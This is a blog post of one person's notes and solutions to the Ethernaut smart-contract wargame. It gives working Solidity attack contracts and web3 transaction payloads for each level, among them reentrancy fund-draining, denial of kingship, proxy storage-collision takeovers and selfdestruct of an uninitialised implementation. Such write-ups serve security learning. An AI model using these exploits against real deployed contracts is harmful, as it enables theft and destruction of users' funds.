Ethernaut notes & solutions

I have been solving the Ethernaut challenges for the last few weeks. Solving the challenges were a super fun way to learn Solidity and common patterns(anti) to know when developing smart contracts.

Following are my solutions, notes and references for the different challenges.

Hello
Some basic setup and a series of straightforward function calls.

Fallback
Multiple calls, first call to transfer some eth, followed by another call to transfer eth directly to claim ownership. Finally calling withdraw
=> contract.contribute.sendTransaction({value: 0x1}
=>sendTransaction({from:"0xA92efaA02e6e5F0Ef1e4b67b511c9193777EfAa1",to:"0x3E2705CF726Ee0354E425ABc6687d0432Faff97b",value: 0x1}) => contract.withdraw()

Fallout
The function mentioned as constructor in comment is not a constructor (as the name is slightly different) and can be called directly to claim ownership.
=> contract.Fal1out({value: 0x0})

Coin Flip
Tried making ten calls to the contract from another contract in a loop (as part of the same transaction). However, this would not work as we store the last block hash and the transaction would revert. We can then just copy the same logic to get the coin flip and pass that as a prediction.

import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/math/SafeMath.sol";

interface CoinFlip {

function flip(bool _guess) external returns (bool);

}

contract callMultiple {

using SafeMath for uint256;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

function call_flip_multiple(address _addr) public {

uint256 blockValue = uint256(blockhash(block.number.sub(1)));

if (lastHash == blockValue) {
  revert();
}

lastHash = blockValue;
uint256 coins = blockValue.div(FACTOR);

bool side = coins == 1 ? true : false; 

CoinFlip(\_addr).flip(side);

}

}

Telephone
Just make the call to the contract function through another smart contract.

pragma solidity >=0.4.0 <0.9.0;

interface Telephone {
function changeOwner(address _owner) external;
}

contract TelephoneProxy {

function callTelephone(address \_addr, address \_owner) public {
    Telephone(\_addr).changeOwner(\_owner);
}

}

Token
=>contract.transfer('0xA92efaA02e6e5F0Ef1e4b67b511c9193777EfAa1',210000)

It is an overflow problem. For solidity versions >0.8, this is automatically enforced and result in errors

Delegation

=> web3.eth.abi.encodeFunctionSignature("pwn()”) [output: ‘0xdd365b8b’] =>contract.sendTransaction({from:"0xA92efaA02e6e5F0Ef1e4b67b511c9193777EfAa1", data:'0xdd365b8b'})

Essentially calling pwn method in the delegation contract which does not exist which then redirects to a fallback method which in turn delegates call to Delegate’s contract pwn method which changes the Owen in the delegation contract. (Fallback method not just useful when receive() not implemented. Used whenever a method does not exist) (https://ethereum.stackexchange.com/questions/8076/can-msg-data-be-used-as-an-identifier)

Force

Use selfdestruct() in a contract to force transfer ether. First, deploy a new contract.

pragma solidity ^0.6.0;

contract Destruct {

receive() external payable { }

function self_destruct(address payable target) public {
selfdestruct(target);
}
}



Finally, call, self_destruct method in the deployed contract with the address of the target contract.

Vault

Private variables an also be accessed from outside the blockchain. They only limit the access for a smart contract call. =>web3.eth.getStorageAt('0x10BBfE80Bd96943Af0c3C29c10cc9a7cA50DaA0f', 1) =>contract.unlock('0x412076657279207374726f6e67207365637265742070617373776f7264203a29')

King
The idea is to first claim kingship by transferring >0.001 etc to the contract and then in order to make it impossible to claim kingship again, make the transfer() call in the smart contract fail. This can be done if we implement a smart contract which does not implement receiver or fallback method and thus no one would be able to get the kingship from our smart contract.

Deploy this contract and initialize with >0.001 eth

pragma solidity ^0.6.0;

contract King {

constructor() payable public {

}

function call_other(address payable _to) public payable {
(bool sent, bytes memory data) = _to.call{value: msg.value}("");
require(sent, "Failed to send Ether");
}
}

Then, make the call_other() call here with >0.001 eth. This would call the receive in the original contract and make us king. Now no one can claim it back.

Reentrance

The idea is to call back withdraw in the fallback method again before completion (in a recursive manner). This would work as the balance updates happen later and we can drain all the funds.

pragma solidity ^0.6.0;

interface Reentrance {
function withdraw(uint _amount) external;
function balanceOf(address _who) external view returns (uint balance);
}

contract ReEnter {

address reentrance_addr;

constructor(address _addr) payable public {
reentrance_addr = _addr;
}

function call_external() public {
uint balance = Reentrance(reentrance_addr).balanceOf(address(this));
Reentrance(reentrance_addr).withdraw(balance);
}

fallback() payable external {
call_external();
}
}

So first we deploy this contract. Then we would need to call deposit with some ether and the address of this contract. This can
 be done as=> web3.eth.abi.encodeFunctionCall({ name: 'donate', type: 'function', inputs: [{ type: 'address', name: '_to' }] }, ['0x97B06397Fb26c8804291704e85833D5af0C6Bbde']);

=>sendTransaction({from: '0xA92efaA02e6e5F0Ef1e4b67b511c9193777EfAa1',to:'0x43030C09012b5d7334d639056ABdbf995838a94E', value:toWei('0.001'), data:'0x00362a95000000000000000000000000c025af1b392c1c62b6cdb81830672efb92784ba2'})

Then we can just call withdraw from the smart contract to drain all funds.

(Good article on reentrancy; https://blog.openzeppelin.com/reentrancy-after-istanbul/. It also lists some of the drawbacks of using reentrancy guard)

Elevator

Just call call() in the below contract.

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

interface Elevator {
function goTo(uint _floor) external;
}

contract Building {
uint public counter;

function isLastFloor(uint floor) external returns (bool) {
bool value;
if (counter%2 == 0) {
value = false;
} else {
value = true;
}
++counter;
return value;
}

function call(address _addr) public {
Elevator elevator = Elevator(_addr);
elevator.goTo(0);
}
}

Privacy

The key part in the solutions identifying the storage slot number for data[2] and covering into bytes16 & calling unlock() For getting the slot, we can see that locked goes to 0, ID occupies slot1 and the next three variables take slot2 as they all can fit into one 32 bytes storage. The next 3 slots are occupied by the three data elements. And, data[2] being the third element thereby goes to slot5.

For our contract, at slot5, the value is “0x0733d1f77e9fe60ce22f46c11017f3f572c34f56e3b6edd6cdd560b1f7259315”.
 We then need to downcast this bytes32 to bytes16. We can do this by either writing a contract which downcasts in solidity and calls unlock like,

pragma solidity ^0.6.0;
interface Privacy {
function unlock(bytes16 _key) external;
}

contract Privacy_Break {

function call(bytes32 value, address _addr) public {
bytes16 key = bytes16(value);
Privacy privacy = Privacy(_addr);
privacy.unlock(key);
}
}

Or, we can directly call unlock by taking the first 16 bytes of data, which would be: “0x0733d1f77e9fe60ce22f46c11017f3f5“ in our case. Also, good post on this: https://dev.to/nvn/ethernaut-hacks-level-12-privacy-2afl https://medium.com/@dariusdev/how-to-read-ethereum-contract-storage-44252c8af925

GatekeeperOne

There are three pieces to the problem: GateOne is easy and can be solved by just making the call from a smart contract.

Gatethree requires figuring out the key by understanding how down casting and type conversion works. In gate three, the first condition requires that last 4 bytes of the key be the same as last 2 bytes. This would mean that the third and 4th byte be 0. The second condition requires that the first bytes not be the same as eight bytes. So, the the top four bytes should be non zero. Finally the last condition requires that the first 4 bytes be the same as last 2 bytes of the user’s address. Combining all the conditions, one key would be 0x000000010000fAa1.

Gate two is the most trickiest and something I struggled with. It is kind of difficult to make the transaction with the right amount of gas as one would need to know the exact amount of gas consumed by the contract (for all the opcodes etc) till it executes that require statement. This can be done using remix by using the debugger but it is difficult as everything needs to be accurately mapped (like compiler version). The best solution is to to run it in a for loop for some value of gas like 300 and use brute force to make it work.

pragma solidity ^0.6.0;

contract GatekeeperBreak {

  event input(bytes8 key, address tx);

  event lhs(uint32 one, uint32 two, uint32 three);

  event rhs(uint16 one, uint64 two, uint16 three);

  function test(bytes8 key) public {

      uint32 one_lhs = uint32(uint64(key));

      uint16 one_rhs = uint16(uint64(key));

      uint64 two_rhs = uint64(key);

      uint16 three_rhs = uint16(tx.origin);

      emit input(key, tx.origin);

      emit lhs(one_lhs, one_lhs, one_lhs);

      emit rhs(one_rhs, two_rhs, three_rhs);

  }

  function call(address _addr, bytes8 key) public {

    for (uint256 i=0 ; i< 300;i++) {

      _addr.call{gas: 8191*5 + i}(

            abi.encodeWithSignature("enter(bytes8)", key)

        );

    }

  }

}

Good links: https://blog.dixitaditya.com/ethernaut-level-13-gatekeeper-one https://issuecloser.com/blog/ethernaut-hacks-level-13-gatekeeper-one

Gatekeeper Two

For the first gate, we need to call the contract from another contract. For the second gate, we need to somehow ensure that the contract being called from has a code size of zero. The only way this is possible is to make the call from the constructor as in that case, extcodesize returns 0. For the third gate, we can get the key by just xoring the other two pieces.

contract GatekeeperBreak2 {

constructor(address _addr) public {
bytes8 key = bytes8((uint64(0) - 1) ^ uint64(bytes8(keccak256(abi.encodePacked(address(this))))));
_addr.call(
abi.encodeWithSignature("enter(bytes8)", key));
}

}

NaughtCoin

As the transfer imposes a time lock, this can be used by instead using the transferFrom() function. As this method is not override, there are no locks here. In order to do this, we can deploy the following smart contract:

pragma solidity ^0.6.0;

interface NaughtCoin {
function balanceOf(address account) external view returns (uint256);
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
}

contract ncbreak {
function call(address _addr, address from) public {
NaughtCoin nc = NaughtCoin(_addr);
uint256 balance = nc.balanceOf(from);
nc.transferFrom(from, address(this), balance);
}

}

We will then need to call approve function giving this smart contract the approval to call transferFrom() from our behalf. This can be done by=> contract.approve('0x48f044795B330c6498F3247eD2Dd7AaE5caBCCB2', '115792089237316195423570985008687907853269984665640564039457584007913129639935'); Here, the first arg is the address of the above mentioned deployed contract and the second arg is the max value of uint256. Now, we can just call the function call() which can call transferFrom().

Preservation

So looking at the decompiled version of the timezonelibrary contracts, they set the first slot (timezon1library) with the value. This would essentially mean that we can now set this value to another contract’s address and have the call delegate to it. This contract would need to implement the same setTime method but here we can set the owner field with the value.

pragma solidity ^0.6.0;

contract preserve {

address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint storedTime;

function setTime(uint256 key) public {
uint160 value = uint160(key);
address to_store = address(value);
owner = to_store;
}

}

Recovery

Checked the transaction on etherscan to get the address of the contract and then called destroy() which would self-destruct and transfer back the balance. =>web3.eth.abi.encodeFunctionCall({ name: 'destroy', type: 'function', inputs: [{ type: 'address', name: '_to' }] }, ['0xA92efaA02e6e5F0Ef1e4b67b511c9193777EfAa1']); =>sendTransaction({from: '0xA92efaA02e6e5F0Ef1e4b67b511c9193777EfAa1',to:'0xFF1e60d4A29c30FB9Fba20a9bd07053b7C8c7dEe', data:'0x00f55d9d000000000000000000000000a92efaa02e6e5f0ef1e4b67b511c9193777efaa1'})

Another way of doing this would be to deterministically figure out the address of he contract from keccak hash using the creator address and the nonce as per https://medium.com/coinmonks/ethernaut-lvl-18-recovery-walkthrough-how-to-retrieve-lost-contract-addresses-in-2-ways-aba54ab167d3 https://swende.se/blog/Ethereum_quirks_and_vulns.html

Magic Number

This problem involves developing the byte code for the contract. Lot of new things to learn. In particular, the opcodes for the evm. Also, for creating a contract, the bytecode consist of 2 parts: the runtime byte code (which is the actual code for the smart contract) and the init byte code which is only used for creating the contract. Concatenating both forms the real byte code. The actual byte code in this case would thus be:

Runtime bytecode: 60 2a (PUSH 42) [push 42 to the stack)
60 00 (PUSH 00) [push 00, the memory location the stack]
52 (MSTORE) [store 42 to the memory location 0; also it stores the whole word (32 bytes)]
60 20 (PUSH 32) [push 32 (number of bytes to return) to the stack]
60 00 (PUSH 00) [push 00 (the address of the memory location) to the stack]
F3 (RETURN) [return 32 bytes from the memory location 0]

Init bytecode:

60 0a (PUSH 10) (push 10 which is the length of the runtime byte code)
60 0c (PUSH 12) (push 12 which is the offset for the start of runtime code i.e the init code itself would be 12 bytes long)
60 00 (PUSH 00) (push 00, the memory location for the runtime code)
39 (CODECOPY)
60 0a (PUSH 10) (push 10 which is the length of the runtime byte code and byte to return)
60 00 (PUSH 00) (the memory location storing the runtime byte code)
F3 (RETURN)

Final bytecode: 0x600a600c600039600a6000f3602a60005260206000f3

This byte code can be deployed using web3js as: => var myContract = new web3.eth.Contract([]);
 => myContract.deploy({data: '0x600a600c600039600a6000f3602a60005260206000f3'}).send({from: '0xA92efaA02e6e5F0Ef1e4b67b511c9193777EfAa1'});

Interesting blogs to read: => https://monokh.com/posts/ethereum-contract-creation-bytecode => https://hackmd.io/@e18r/r1yM3rCCd#10-Putting-stuff-in-memory-again => https://ethereum.stackexchange.com/questions/117777/how-to-deploy-a-bytecode-only-contract-without-an-abi => advanced series: https://blog.openzeppelin.com/deconstructing-a-solidity-contract-part-ii-creation-vs-runtime-6b9d60ecb44c/ => etehreum yellow paper: https://ethereum.github.io/yellowpaper/paper.pdf

Alien Codex

We can see here that in storage slot 0, the first 20 bytes contain some data which is also the owner of the contract. So, overriding these bits should make us the owner. Also, the bool for contact also occupies storage slot 0. Hence, we know that array starts from slot 1. In solidity, for arrays, the first slot contains the key and array elements are located from the sha3 hash of this storage slot which is slot 1.
 =>web3.utils.sha3('0x0000000000000000000000000000000000000000000000000000000000000001') Gives us the actual storage slot location of, “0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6”
 Now, we see that the current array length is 0. If we decrease the array length by calling retract, this slot will contain 2^256-1 , i.e, 0xffffff…. This effectively means that the new array length is the max value of 2^256-1 and we can theoretically manipulate any storage location.
 Now, we want to modify the slot0, so we can try to find the value for this index, in particular, as the storage starts from ‘0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6’, we need to find x such that,
 0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6 + x = 0 I.e. x = -(0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6) Which is x = xffff… - 0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6 + 1 Hence the right index which corresponds to this is, 0x4ef1d2ad89edf8c4d91132028e8195cdf30bb4b5053d4f8cd260341d4805f30a

We can then call contract’s revise like this to modify slot 0 with out address
 =>contract.revise('0x4ef1d2ad89edf8c4d91132028e8195cdf30bb4b5053d4f8cd260341d4805f30a', '0x000000000000000000000000A92efaA02e6e5F0Ef1e4b67b511c9193777EfAa1')

Other links: https://medium.com/@fifiteen82726/solidity-attack-array-underflow-1dc67163948a https://weka.medium.com/announcing-the-winners-of-the-first-underhanded-solidity-coding-contest-282563a87079

Denial

We can make the call run out of gas by either making the fallback function execute an infinite while loop or make a reentrancy attack. Also, don’t forget to make the fallback method payable.

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

interface Denial {
function withdraw() external;
}

contract DenialPartner {

address reentrance_addr;

constructor(address _addr) payable public {
reentrance_addr = _addr;
}

fallback() external payable {
Denial(reentrance_addr).withdraw();
}
// or
// fallback() external payable {
// while (true) {}
// }
}

Also, good read to understand when main transactions revert, what happens to internal ones.: https://ethereum.stackexchange.com/questions/8634/does-an-entire-transaction-revert-when-throw-occurs

Shop

This can be solved by implementing another contract which implements the price() function that returns different values depending on isSold field. Also, this function would have to be view only so no storage can be changed here.

pragma solidity ^0.6.0;

interface Shop {
function buy() external;
function isSold() external view returns(bool);
}

contract Buyer {
address shop_address;
int counter;

constructor(address _addr) public {
shop_address = _addr;
counter = -1;
}

function call() public {
Shop(shop_address).buy();
}

function price() public view returns(uint) {
bool sold = Shop(shop_address).isSold();
if (sold == false) {
return 101;
} else {
return 1;
}
}

}

Dex

Solved by constantly swapping between the two tokens. Given the token price setting logic, we can get a higher value by repeatedly swapping. i.e execute something like, for both tokens multiple times:
 => contract.swap('0xA74030A20DD4839f62F5812Ee753c1a5F68e10f3', '0x6F0C45ad43936DAF5fEB3A34dCb1a6A8df852442', ..)

Dex2

We can solve this by using another token contract and swapping for both the tokens. Instead of creating and deploying another token contract, I just reused the token from the previous problem to swap with the new tokens. In particular, we need to do a few things to get it working:
 a. We need to approve the current contract to spend the tokens from the earlier contract on our behalf. So for this we need to make the approve call. => web3.eth.abi.encodeFunctionCall({ name: 'approve', type: 'function', inputs: [{ type: 'address', name: 'spender' }, { type: 'uint256', name: 'amount' }] }, ['0x31282950C18F252C429ebC99bF969FF9Fc5253e6', 100]);

=> sendTransaction({from: '0xA92efaA02e6e5F0Ef1e4b67b511c9193777EfAa1',to:'0x6F0C45ad43936DAF5fEB3A34dCb1a6A8df852442', data:'0x095ea7b300000000000000000000000031282950c18f252c429ebc99bf969ff9fc5253e60000000000000000000000000000000000000000000000000000000000000064'}) 
 b. We need to transfer at least one token of the old type to this new contract. Else, we will hit divide by 0 error when calculating swap price and the transaction will revert. => web3.eth.abi.encodeFunctionCall({ name: 'transfer', type: 'function', inputs: [{ type: 'address', name: 'to' }, { type: 'uint256', name: 'amount' }] }, ['0x31282950C18F252C429ebC99bF969FF9Fc5253e6', 1]);

=> sendTransaction({from: '0xA92efaA02e6e5F0Ef1e4b67b511c9193777EfAa1',to:'0x6F0C45ad43936DAF5fEB3A34dCb1a6A8df852442', data:'0xa9059cbb00000000000000000000000031282950c18f252c429ebc99bf969ff9fc5253e60000000000000000000000000000000000000000000000000000000000000001'})

c. After transferring one token of the old type, we can call swap with one of the tokens and set the amount to be 1. This will give us al tokens of the new type and give one token of the old type to the contract.=> contract.swap('0x6F0C45ad43936DAF5fEB3A34dCb1a6A8df852442', '0x7b197A6e04D1B0FbBda75B6505734a72dF0cbe3c', 1)

d. For transferring all the tokens of the other type, we need to again make a swap call but this time make the call with amount 2 as the contract now has a balance of 2 tokens of the old type. => contract.swap('0x6F0C45ad43936DAF5fEB3A34dCb1a6A8df852442', '0xb2CFDB952A9Cf2fbD5841D6c4E7657706B395712', 2)

Old token contract address: 0x6F0C45ad43936DAF5fEB3A34dCb1a6A8df852442 New token 1 address: 0x7b197A6e04D1B0FbBda75B6505734a72dF0cbe3c New token 2 address: 0xb2CFDB952A9Cf2fbD5841D6c4E7657706B395712

Puzzle Wallet

The core thing here to note is that we can exploit storage collisions between the proxy and the logic contract to overwrite pending_admin and admin values. Reading this (https://docs.openzeppelin.com/upgrades-plugins/1.x/proxies#unstructured-storage-proxies) I was under the impression that any variables defined in proxy contract are assigned a random slot and thus cannot collide, but looks like it is only for the logic contract? Anyways, here is how this can be solved.

a. First make a call to proxy contract’s method to overwrite pendingAdmin. Due to collision, this would also make us the owner of logic contract. => web3.eth.abi.encodeFunctionCall({ name: 'proposeNewAdmin', type: 'function', inputs: [{ type: 'address', name: '_newAdmin' }] }, ['0xA92efaA02e6e5F0Ef1e4b67b511c9193777EfAa1']); '0xa6376746000000000000000000000000a92efaa02e6e5f0ef1e4b67b511c9193777efaa1'

=> sendTransaction({from: '0xA92efaA02e6e5F0Ef1e4b67b511c9193777EfAa1',to:'0x144E27722780d9A91912a1f64E8be96f423a26dd', data:'0xa6376746000000000000000000000000a92efaa02e6e5f0ef1e4b67b511c9193777efaa1'})

b. Add ourselves to whitelist as we are already the owner. =>contract.addToWhitelist('0xA92efaA02e6e5F0Ef1e4b67b511c9193777EfAa1')

c. This is the most tricky part. In order to make us the admin, we can overwrite max balance field as it collides. However, in order to set it, we first need to transfer all the ether out of this contract. This can be done by calling multi call with 2 params, a regular deposit and another multi call chic calls deposit. This would ensure that our balance can increment twice in the contract while only depositing once. This is the main bug as it lets us modify internal balance multiple for only one msg.value. (This is also the part where I got partial help)

c.1 value for deposit function call web3.eth.abi.encodeFunctionCall({ name: 'deposit', type: 'function', inputs: [] }, []); '0xd0e30db0'

c.2 value for multi call function call which calls deposit web3.eth.abi.encodeFunctionCall({ name: 'multicall', type: 'function', inputs: [{ type: 'bytes[]', name: 'data' }] }, [['0xd0e30db0']]);

c.3 call contract’s multi call function with these two values and transferring 0.001 eth. contract.multicall(['0xd0e30db0', '0xac9650d80000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000004d0e30db000000000000000000000000000000000000000000000000000000000'], {value: 1000000000000000})

c.4 call execute with value = 0.002 eth to transfer all the ether out of the contract. contract.execute('0xA92efaA02e6e5F0Ef1e4b67b511c9193777EfAa1', 2000000000000000, '0x0')

c.5 finally override max balance and make us the admin. contract.setMaxBalance('0xA92efaA02e6e5F0Ef1e4b67b511c9193777EfAa1')

Resources: https://docs.openzeppelin.com/upgrades-plugins/1.x/proxies#unstructured-storage-proxies

Motorbike

This utilizes the UUPS pattern for proxy which differs from the transparent proxy pattern in the sense that the logic to upgrade the proxy lies in the implementation contract itself. The thing to note here is that the implementation contract has not been initializes and so we can become by the upgrader by calling initialize. Finally, this contract when called for upgrade, delegates call to another contract. Here we can take advantage and delegate call to another contract’s method which has self-destruct call. This in turn, selfdestructs this contract (as it was delegated) and thus rendering the proxy useless.

a. Get the address of implementation contract by calling get storage at the slot.
 =>web3.eth.getStorageAt('0x7a287A6114029293d120c955917d730bF1B82FF4', '0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc')

b. Call the initialize method for this contract and become the upgrader. => web3.eth.abi.encodeFunctionCall({ name: 'initialize', type: 'function', inputs: [] }, []); => sendTransaction({from: '0xA92efaA02e6e5F0Ef1e4b67b511c9193777EfAa1',to:'0xa041565986FD4D43Fe45336c54DdeAb8Db12EeBE', data:'0x8129fc1c'})

c. Deploy a smart contract which calls self destruct.


pragma solidity ^0.6.0;

contract Destruct {

function call() external payable {
address payable addr = payable(0xA92efaA02e6e5F0Ef1e4b67b511c9193777EfAa1);
selfdestruct(addr);
}

}

d. Finally, call upgradeToAndCall with this contract’s address and data to be the encoded value for the call to “call()”. This will then destruct the implementation contract. => web3.eth.abi.encodeFunctionCall({ name: 'call', type: 'function', inputs: [] }, []); => web3.eth.abi.encodeFunctionCall({ name: 'upgradeToAndCall', type: 'function', inputs: [{ type: 'address', name: 'newImplementation' }, { type: 'bytes', name: 'data' }] }, ['0x7D64422eE784f7ef5B94e4873F56A37F6d8f14dE', '0x28b5e32b']); => sendTransaction({from: '0xA92efaA02e6e5F0Ef1e4b67b511c9193777EfAa1',to:'0xa041565986FD4D43Fe45336c54DdeAb8Db12EeBE', data:'0x4f1ef2860000000000000000000000007d64422ee784f7ef5b94e4873f56a37f6d8f14de0000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000428b5e32b00000000000000000000000000000000000000000000000000000000'}) Resources: https://eips.ethereum.org/EIPS/eip-1822 https://mirror.xyz/0xB38709B8198d147cc9Ff9C133838a044d78B064B/M7oTptQkBGXxox-tk9VJjL66E1V8BUF0GF79MMK4YG0 https://iosiro.com/blog/openzeppelin-uups-proxy-vulnerability-disclosure https://forum.openzeppelin.com/t/uups-proxies-tutorial-solidity-javascript/7786 https://blog.openzeppelin.com/proxy-patterns/

Double Entry Point

The main problem in this is the fact that DET tokens can be swept by the legacy contract as it calls delegate transfer. Hence, we need to essentially prevent call to the DET contract from the legacy contract. We can write a detection bot which can detect such calls and raise an alert to invalidate the transaction. In my implementation, I just raise the alert without checking the msg.data and it passes, however, we should ideally look at msg.data and ensure that we only block the calls from the other contract and not all. This has been implemented by other folks but my solution passes too. a. Deploy the following contract:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

interface IForta {
function raiseAlert(address user) external;
}

contract IDetectionBot {
address forta;
int counter;

constructor(address _addr) public {
forta = _addr;
}

function handleTransaction(address user, bytes calldata msgData) external {
IForta(forta).raiseAlert(0xA92efaA02e6e5F0Ef1e4b67b511c9193777EfAa1);
}

}

Deployed address: 0xa2dbDcdB6656d5c8Adb8F899883aC7c58c7399fa

b. Set this address in the Fort contract. => contract.forta() // returns 0x7579EFb5d6A77d17Ca4b80FBB6d524Bd1ba71a6B => web3.eth.abi.encodeFunctionCall({ name: 'setDetectionBot', type: 'function', inputs: [{ type: 'address', name: 'detectionBotAddress' }] }, ['0xa2dbDcdB6656d5c8Adb8F899883aC7c58c7399fa']); => sendTransaction({from: '0xA92efaA02e6e5F0Ef1e4b67b511c9193777EfAa1',to:'0x7579EFb5d6A77d17Ca4b80FBB6d524Bd1ba71a6B', data:'0x9e927c68000000000000000000000000a2dbdcdb6656d5c8adb8f899883ac7c58c7399fa'})

Resources: https://blog.openzeppelin.com/compound-tusd-integration-issue-retrospective/ https://ventral.digital/posts/2022/6/27/ethernaut-26-doubleentrypoint

Good Samaritan

The key here is that if we revert with NotEnoughBalance() error, then we can transfer the remaining funds. Now, the transfer function calls notify() function if the destination is a contract. So, we can just deploy a contract and implement the notify() function which reverts with the same error. This would allow us to withdraw all the remaining funds.


One thing which I missed was that we need to set a condition in notify to only revert if the amount is <=10. Otherwise, if we just blindly revert, then all transaction would just fail and we would not be able to withdraw anything.

pragma solidity >=0.8.0 <0.9.0;

interface GoodSamaritan {
function requestDonation() external returns(bool);
}

contract Exploit {
address donor;
error NotEnoughBalance();

constructor(address _addr) public {
donor = _addr;
}

function call() public {
bool enoughBalance;
enoughBalance = GoodSamaritan(donor).requestDonation();
}

function notify(uint256 amount) external {
if (amount <= 10) {
revert NotEnoughBalance();
}
}

}

Resources: https://blog.soliditylang.org/2021/04/21/custom-errors/

Subscribe to Manav
Receive the latest updates directly to your inbox.
Mint this entry as an NFT to add it to your collection.
Verification
This entry has been permanently stored onchain and signed by its creator.